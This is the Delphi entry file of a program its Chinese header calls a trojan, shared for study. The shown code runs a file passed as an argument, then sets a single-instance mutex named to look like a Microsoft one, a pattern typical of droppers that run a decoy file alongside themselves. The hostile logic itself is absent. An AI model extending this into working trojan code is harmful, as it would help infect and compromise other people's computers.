main.~dpr

一个木马的源程序。希望大家可以一起通过它来学习一此东西

program Main;

uses
  Forms,
  Windows,
  UnitMain in 'UnitMain.pas' {Form1};

{$R *.res}
var
  myMutex:HWND;
  exefilename:String;
begin
  exefilename:=ParamStr(1);
  if exefilename<>'' then begin
    if fileexists(exefilename) then
      winexec(Pchar(exefilename),SW_SHOWNORMAL);
  end;
  myMutex:=CreateMutex(nil,false,'MSLV1108');
  if WaitForSingleObject(myMutex,0)<>wait_TimeOut then//程序没有被运行过
  begin
    Application.Initialize;
    Application.CreateForm(TForm1, Form1);
    Application.Run;
  end;
end.